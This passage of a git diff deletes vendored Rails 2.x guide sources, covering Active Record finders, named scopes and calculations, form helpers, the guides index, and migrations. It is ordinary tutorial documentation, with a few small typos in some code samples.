-Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc")
--------------------------------------------------------
-
-+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
-
-== +select_all+ ==
-
-+find_by_sql+ has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
-
-[source, ruby]
--------------------------------------------------------
-Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
--------------------------------------------------------
-
-== Working with Associations
-
-When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested controllers. 
-
-== Named Scopes
-
-Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.
-
-=== Simple Named Scopes
-
-Suppose want to find all clients who are male. You could use this code:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  named_scope :males, :conditions => { :gender => "male" }
-end
--------------------------------------------------------
-
-Then you could call +Client.males.all+ to get all the clients who are male. Please note that if you do not specify the +all+ on the end you will get a +Scope+ object back, not a set of records which you do get back if you put the +all+ on the end.
-
-If you wanted to find all the clients who are active, you could use this:
-
-[source,ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  named_scope :active, :conditions => { :active => true }
-end
--------------------------------------------------------
-
-You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do +Client.active.first+. 
-
-=== Combining Named Scopes
-
-If you wanted to find all the clients who are active and male you can stack the named scopes like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.males.active.all
--------------------------------------------------------
-
-If you would then like to do a +all+ on that scope, you can. Just like an association, named scopes allow you to call +all+ on them:
-
-[source, ruby]
--------------------------------------------------------
-Client.males.active.all(:conditions => ["age > ?", params[:age]])
--------------------------------------------------------
-
-=== Runtime Evaluation of Named Scope Conditions
-
-Consider the following code:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  named_scope :recent, :conditions => { :created_at > 2.weeks.ago }
-end
--------------------------------------------------------
-
-This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } 
-end
--------------------------------------------------------
-
-And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.
-
-=== Named Scopes with Multiple Models
-
-In a named scope you can use +:include+ and +:joins+ options just like in find.
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  named_scope :active_within_2_weeks, :joins => :order, 
-    lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } }
-end
--------------------------------------------------------
-
-This method, called as +Client.active_within_2_weeks.all+, will return all clients who have placed orders in the past 2 weeks.
-
-=== Arguments to Named Scopes
-
-If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } } 
-end
--------------------------------------------------------
-
-This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } }
-end
--------------------------------------------------------
-
-This will work with +Client.recent(2.weeks.ago).all+ and +Client.recent.all+, with the latter always returning records with a created_at date between right now and 2 weeks ago.
-
-Remember that named scopes are stackable, so you will be able to do +Client.recent(2.weeks.ago).unlocked.all+ to find all clients created between right now and 2 weeks ago and have their locked field set to false.
-
-=== Anonymous Scopes
-
-All Active Record models come with a named scope named +scoped+, which allows you to create anonymous scopes. For example:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  def self.recent
-    scoped :conditions => ["created_at > ?", 2.weeks.ago]
-  end
-end
--------------------------------------------------------
-
-Anonymous scopes are most useful to create scopes "on the fly":
-
-[source, ruby]
--------------------------------------------------------
-Client.scoped(:conditions => { :gender => "male" })
--------------------------------------------------------
-
-Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.
-
-== Existence of Objects
-
-If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.
-
-[source, ruby]
--------------------------------------------------------
-Client.exists?(1)
--------------------------------------------------------
-
-The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.
-
-[source, ruby]
--------------------------------------------------------
-Client.exists?(1,2,3)
-# or
-Client.exists?([1,2,3])
--------------------------------------------------------
-
-The +exists?+ method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.
-
-Further more, +exists+ takes a +conditions+ option much like find:
-
-[source, ruby]
--------------------------------------------------------
-Client.exists?(:conditions => "first_name = 'Ryan'")
--------------------------------------------------------
-
-== Calculations
-
-This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
-
-+count+ takes conditions much in the same way +exists?+ does:
-
-[source, ruby]
--------------------------------------------------------
-Client.count(:conditions => "first_name = 'Ryan'")
--------------------------------------------------------
-
-Which will execute:
-
-[source, sql]
--------------------------------------------------------
-SELECT count(*) AS count_all FROM +clients+ WHERE (first_name = 1) 
--------------------------------------------------------
-
-You can also use +include+ or +joins+ for this to do something a little more complex:
-
-[source, ruby]
--------------------------------------------------------
-Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
--------------------------------------------------------
-
-Which will execute:
-
-[source, sql]
--------------------------------------------------------
-SELECT count(DISTINCT +clients+.id) AS count_all FROM +clients+ 
-  LEFT OUTER JOIN +orders+ ON orders.client_id = client.id WHERE 
-  (clients.first_name = 'name' AND orders.status = 'received') 
--------------------------------------------------------
-
-This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
-
-
-=== Count
-
-If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
-
-For options, please see the parent section, Calculations.
-
-=== Average
-
-If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.average("orders_count")
--------------------------------------------------------
-
-This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
-
-For options, please see the parent section, <<_calculations, Calculations>>
-
-=== Minimum
-
-If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.minimum("age")
--------------------------------------------------------
-
-For options, please see the parent section, <<_calculations, Calculations>>
-
-=== Maximum
-
-If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.maximum("age")
--------------------------------------------------------
-
-For options, please see the parent section, <<_calculations, Calculations>>
-
-=== Sum
-
-If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.sum("orders_count")
--------------------------------------------------------
-
-For options, please see the parent section,  <<_calculations, Calculations>>
-
-== Credits
-
-Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.
-
-Thanks to Mike Gunderloy for his tips on creating this guide.
-
-== Changelog
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16[Lighthouse ticket]
-
-* November 8, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
-* October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg
-* October 27, 2008: Fixed up all points specified in http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6[this comment] with an exception of the final point by Ryan Bigg
-* October 26, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
-* October 22, 2008: Calculations complete, first complete draft by Ryan Bigg
-* October 21, 2008: Extended named scope section by Ryan Bigg
-* October 9, 2008: Lock, count, cleanup by Ryan Bigg
-* October 6, 2008: Eager loading by Ryan Bigg
-* October 5, 2008: Covered conditions by Ryan Bigg
-* October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg
-* September 28, 2008: Covered first/last/all by Ryan Bigg
diff --git a/vendor/rails/railties/doc/guides/source/form_helpers.txt b/vendor/rails/railties/doc/guides/source/form_helpers.txt
deleted file mode 100644
index 88ca74a5..00000000
--- a/vendor/rails/railties/doc/guides/source/form_helpers.txt
+++ /dev/null
@@ -1,345 +0,0 @@
-Rails form helpers
-==================
-Mislav Marohnić <mislav.marohnic@gmail.com>
-
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
-
-In this guide we will:
-
-* Create search forms and similar kind of generic forms not representing any specific model in your application;
-* Make model-centric forms for creation and editing of specific database records;
-* Generate select boxes from multiple types of data;
-* Learn what makes a file upload form different;
-* Build complex, multi-model forms.
-
-NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit http://api.rubyonrails.org/[the Rails API documentation] for a complete reference.
-
-
-Basic forms
------------
-
-The most basic form helper is `form_tag`.
-
-----------------------------------------------------------------------------
-<% form_tag do %>
-  Form contents
-<% end %>
-----------------------------------------------------------------------------
-
-When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):
-
-.Sample rendering of `form_tag`
-----------------------------------------------------------------------------
-<form action="/home/index" method="post">
-  <div style="margin:0;padding:0">
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  Form contents
-</form>
-----------------------------------------------------------------------------
-
-If you carefully observe this output, you can see that the helper generated something we didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).
-
-NOTE: Throughout this guide, this `div` with the hidden input will be stripped away to have clearer code samples.
-
-Generic search form
-~~~~~~~~~~~~~~~~~~~
-
-Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
-
-1. a form element with "GET" method,
-2. a label for the input,
-3. a text input element, and
-4. a submit element.
-
-IMPORTANT: Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.
-
-To create that, we will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively.
-
-.A basic search form
-----------------------------------------------------------------------------
-<% form_tag(search_path, :method => "get") do %>
-  <%= label_tag(:q, "Search for:") %>
-  <%= text_field_tag(:q) %>
-  <%= submit_tag("Search") %>
-<% end %>
-----------------------------------------------------------------------------
-
-[TIP]
-============================================================================
-`search_path` can be a named route specified in "routes.rb":
-
-----------------------------------------------------------------------------
-map.search "search", :controller => "search"
-----------------------------------------------------------------------------
-============================================================================
-
-The above view code will result in the following markup:
-
-.Search form HTML
-----------------------------------------------------------------------------
-<form action="/search" method="get">
-  <label for="q">Search for:</label>
-  <input id="q" name="q" type="text" />
-  <input name="commit" type="submit" value="Search" />
-</form>
-----------------------------------------------------------------------------
-
-Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
-
-TIP: For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-
-Multiple hashes in form helper attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-By now we've seen that the `form_tag` helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like `:method`).
-
-Identical to the `link_to` helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:
-
-.A bad way to pass multiple hashes as method arguments
-----------------------------------------------------------------------------
-form_tag(:controller => "people", :action => "search", :method => "get")
-# => <form action="/people/search?method=get" method="post">
-----------------------------------------------------------------------------
-
-Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:
-
-.The correct way of passing multiple hashes as arguments
-----------------------------------------------------------------------------
-form_tag({:controller => "people", :action => "search"}, :method => "get")
-# => <form action="/people/search" method="get">
-----------------------------------------------------------------------------
-
-This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
-
-WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an `expecting tASSOC` syntax error.
-
-Checkboxes, radio buttons and other controls
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Checkboxes are form controls that give the user a set of options they can enable or disable:
-
-----------------------------------------------------------------------------
-<%= check_box_tag(:pet_dog) %>
-  <%= label_tag(:pet_dog, "I own a dog") %>
-<%= check_box_tag(:pet_cat) %>
-  <%= label_tag(:pet_cat, "I own a cat") %>
-
-output:
-
-<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
-  <label for="pet_dog">I own a dog</label>
-<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
-  <label for="pet_cat">I own a cat</label>
-----------------------------------------------------------------------------
-
-Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):
-
-----------------------------------------------------------------------------
-<%= radio_button_tag(:age, "child") %>
-  <%= label_tag(:age_child, "I am younger than 21") %>
-<%= radio_button_tag(:age, "adult") %>
-  <%= label_tag(:age_adult, "I'm over 21") %>
-
-output:
-
-<input id="age_child" name="age" type="radio" value="child" />
-  <label for="age_child">I am younger than 21</label>
-<input id="age_adult" name="age" type="radio" value="adult" />
-  <label for="age_adult">I'm over 21</label>
-----------------------------------------------------------------------------
-
-IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
-
-Other form controls we might mention are the text area, password input and hidden input:
-
-----------------------------------------------------------------------------
-<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
-<%= password_field_tag(:password) %>
-<%= hidden_field_tag(:parent_id, "5") %>
-
-output:
-
-<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
-<input id="password" name="password" type="password" />
-<input id="parent_id" name="parent_id" type="hidden" value="5" />
-----------------------------------------------------------------------------
-
-Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.
-
-TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating `filter_parameter_logging(:password)` in your ApplicationController.
-
-How do forms with PUT or DELETE methods work?
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?
-
-Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the wanted method:
-
-----------------------------------------------------------------------------
-form_tag(search_path, :method => "put")
-  
-output:
-
-<form action="/search" method="post">
-  <div style="margin:0;padding:0">
-    <input name="_method" type="hidden" value="put" />
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  ...
-----------------------------------------------------------------------------
-
-When parsing POSTed data, Rails will take into account the special `"_method"` parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).
-
-
-Forms that deal with model attributes
--------------------------------------
-
-When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:
-
-.articles_controller.rb
-----------------------------------------------------------------------------
-def new
-  @article = Article.new
-end
-----------------------------------------------------------------------------
-
-Now we switch to the view. The first thing to remember is that we should use `form_for` helper instead of `form_tag`, and that we should pass the model name and object as arguments:
-
-.articles/new.html.erb
-----------------------------------------------------------------------------
-<% form_for :article, @article, :url => { :action => "create" } do |f| %>
-  <%= f.text_field :title %>
-  <%= f.text_area :body, :size => "60x12" %>
-  <%= submit_tag "Create" %>
-<% end %>
-----------------------------------------------------------------------------
-
-There are a few things to note here:
-
-1. `:article` is the name of the model and `@article` is our record.
-2. The URL for the action attribute is passed as a parameter named `:url`.
-3. The `form_for` method yields *a form builder* object (the `f` variable).
-4. Methods to create form controls are called *on* the form builder object `f` and *without* the `"_tag"` suffix (so `text_field_tag` becomes `f.text_field`).
-
-The resulting HTML is:
-
-----------------------------------------------------------------------------
-<form action="/articles/create" method="post">
-  <input id="article_title" name="article[title]" size="30" type="text" />
-  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
-  <input name="commit" type="submit" value="Create" />
-</form>
-----------------------------------------------------------------------------
-
-A nice thing about `f.text_field` and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:
-
-----------------------------------------------------------------------------
-@article = Article.new(:title => "Rails makes forms easy")
-----------------------------------------------------------------------------
-
-... the corresponding input will be rendered with a value:
-
-----------------------------------------------------------------------------
-<input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" />
-----------------------------------------------------------------------------
-
-Relying on record identification
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it *a resource*.
-
-When dealing with RESTful resources, our calls to `form_for` can get significantly easier if we rely on *record identification*. In short, we can just pass the model instance and have Rails figure out model name and the rest:
-
-----------------------------------------------------------------------------
-## Creating a new article
-# long-style:
-form_for(:article, @article, :url => articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(:article, @article, :url => article_path(@article), :method => "put")
-# short-style:
-form_for(@article)
-----------------------------------------------------------------------------
-
-Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`.
-
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url` and `:method` explicitly.
-
-
-Making select boxes with ease
------------------------------
-
-Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.
-
-Here is what our wanted markup might look like:
-
-----------------------------------------------------------------------------
-<select name="city_id" id="city_id">
-  <option value="1">Lisabon</option>
-  <option value="2">Madrid</option>
-  ...
-  <option value="12">Berlin</option>
-</select>
-----------------------------------------------------------------------------
-
-Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.
-
-The select tag and options
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates the options:
-
-----------------------------------------------------------------------------
-<%= select_tag(:city_id, '<option value="1">Lisabon</option>...') %>
-----------------------------------------------------------------------------
-
-This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string.
-
-We can generate option tags with the `options_for_select` helper:
-
-----------------------------------------------------------------------------
-<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %>
-
-output:
-
-<option value="1">Lisabon</option>
-<option value="2">Madrid</option>
-...
-----------------------------------------------------------------------------
-
-For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID).
-
-Now you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
-
-----------------------------------------------------------------------------
-<%= select_tag(:city_id, options_for_select(...)) %>
-----------------------------------------------------------------------------
-
-Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The `options_for_select` helper supports this with an optional second argument:
-
-----------------------------------------------------------------------------
-<%= options_for_select(cities_array, 2) %>
-
-output:
-
-<option value="1">Lisabon</option>
-<option value="2" selected="selected">Madrid</option>
-...
-----------------------------------------------------------------------------
-
-So whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
-
-Select boxes for dealing with models
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a `city_id` attribute.
-
-----------------------------------------------------------------------------
-...
-----------------------------------------------------------------------------
-
-...
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif b/vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif
deleted file mode 100644
index 98ffefaf..00000000
Binary files a/vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif and /dev/null differ
diff --git a/vendor/rails/railties/doc/guides/source/index.txt b/vendor/rails/railties/doc/guides/source/index.txt
deleted file mode 100644
index 8828e1d3..00000000
--- a/vendor/rails/railties/doc/guides/source/index.txt
+++ /dev/null
@@ -1,118 +0,0 @@
-Ruby on Rails guides
-====================
-
-WARNING: This page is the result of ongoing http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] and a work in progress.
-
-CAUTION: Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Start Here</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:getting_started_with_rails.html[Getting Started with Rails]
-***********************************************************
-Everything you need to know to install Rails and create your first application.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Models</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:migrations.html[Rails Database Migrations]
-***********************************************************
-This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
-***********************************************************
-
-.link:association_basics.html[Active Record Associations]
-***********************************************************
-This guide covers all the associations provided by Active Record.
-***********************************************************
-
-.link:finders.html[Active Record Finders]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket]
-
-This guide covers the find method defined in ActiveRecord::Base, as well as named scopes.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Views</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:layouts_and_rendering.html[Layouts and Rendering in Rails]
-***********************************************************
-This guide covers the basic layout features of Action Controller and Action View,
-including rendering and redirecting, using +content_for+ blocks, and working
-with partials.
-***********************************************************
-
-.link:form_helpers.html[Action View Form Helpers]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/1[Lighthouse Ticket]
-
-Guide to using built in Form helpers.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Controllers</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:routing_outside_in.html[Rails Routing from the Outside In]
-***********************************************************
-This guide covers the user-facing features of Rails routing. If you want to 
-understand how to use routing in your own Rails applications, start here.
-***********************************************************
-
-.link:actioncontroller_basics.html[Basics of Action Controller]
-***********************************************************
-This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
-***********************************************************
-
-.link:caching_with_rails.html[Rails Caching]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/10[Lighthouse Ticket]
-
-This guide covers the three types of caching that Rails provides by default.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Digging Deeper</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:testing_rails_applications.html[Testing Rails Applications]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/8[Lighthouse Ticket]
-
-This is a rather comprehensive guide to doing both unit and functional tests
-in Rails. It covers everything from ``What is a test?'' to the testing APIs.
-Enjoy.
-***********************************************************
-
-.link:security.html[Securing Rails Applications]
-***********************************************************
-This guide describes common security problems in web applications and how to
-avoid them with Rails.
-***********************************************************
-
-.link:debugging_rails_applications.html[Debugging Rails Applications]
-***********************************************************
-This guide describes how to debug Rails applications. It covers the different
-ways of achieving this and how to understand what is happening "behind the scenes"
-of your code.
-***********************************************************
-
-.link:benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/4[Lighthouse Ticket]
-
-This guide covers ways to analyze and optimize your running Rails code.
-***********************************************************
-
-.link:creating_plugins.html[The Basics of Creating Rails Plugins]
-***********************************************************
-This guide covers how to build a plugin to extend the functionality of Rails.
-***********************************************************
-
-Authors who have contributed to complete guides are listed link:authors.html[here].
-
-This work is licensed under a link:http://creativecommons.org/licenses/by-nc-sa/3.0/[Creative Commons Attribution-Noncommercial-Share Alike 3.0  License]
diff --git a/vendor/rails/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt b/vendor/rails/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt
deleted file mode 100644
index 9f325af9..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt
+++ /dev/null
@@ -1,85 +0,0 @@
-== Anatomy Of A Migration ==
-
-Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: 
-
-[source, ruby]
-------------------------
-class CreateProducts < ActiveRecord::Migration
-  def self.up
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-------------------------
-
-This migration adds a table called `products` with a string column called `name` and a text column called `description`. A primary key column called `id` will also be added, however since this is the default we do not need to ask for this. The timestamp columns `created_at` and `updated_at` which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
-
-Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
-
-[source, ruby]
-------------------------
-class AddReceiveNewsletterToUsers < ActiveRecord::Migration
-  def self.up
-    change_table :users do |t|
-      t.boolean :receive_newsletter, :default => false
-    end
-    User.update_all ["receive_newsletter = ?", true]
-  end
-
-  def self.down
-    remove_column :users, :receive_newsletter
-  end
-end
-------------------------
-
-This migration adds an `receive_newsletter` column to the `users` table. We want it to default to `false` for new users, but existing users are considered
-to have already opted in, so we use the User model to set the flag to `true` for existing users.
- 
-NOTE: Some <<models,caveats>> apply to using models in your migrations.
-
-=== Migrations are classes
-A migration is a subclass of ActiveRecord::Migration that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them).
-
-Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
-
-* `create_table`
-* `change_table`
-* `drop_table`
-* `add_column`
-* `remove_column`
-* `change_column`
-* `rename_column` 
-* `add_index`
-* `remove_index`
-
-If you need to perform tasks specific to your database (for example create a <<foreign_key,foreign key>> constraint) then the `execute` function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
-write code to set the value of that column for existing records (if necessary using your models).
-
-On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
-
-=== What's in a name ===
-
-Migrations are stored in files in `db/migrate`, one for each migration class. The name of the file is of the form `YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example `20080906120000_create_products.rb` should define CreateProducts and `20080906120001_add_details_to_products.rb` should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.
-
-Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting `config.active_record.timestamped_migrations` to `false` in `environment.rb`.
-
-The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
-
-For example Alice adds migrations `20080906120000` and `20080906123000` and Bob adds `20080906124500` and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so `rake db:migrate` would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.
-
-Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.
-
-=== Changing migrations ===
-
-Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run `rake db:migrate`. You must rollback the migration (for example with `rake db:rollback`), edit your migration and then run `rake db:migrate` to run the corrected version.
-
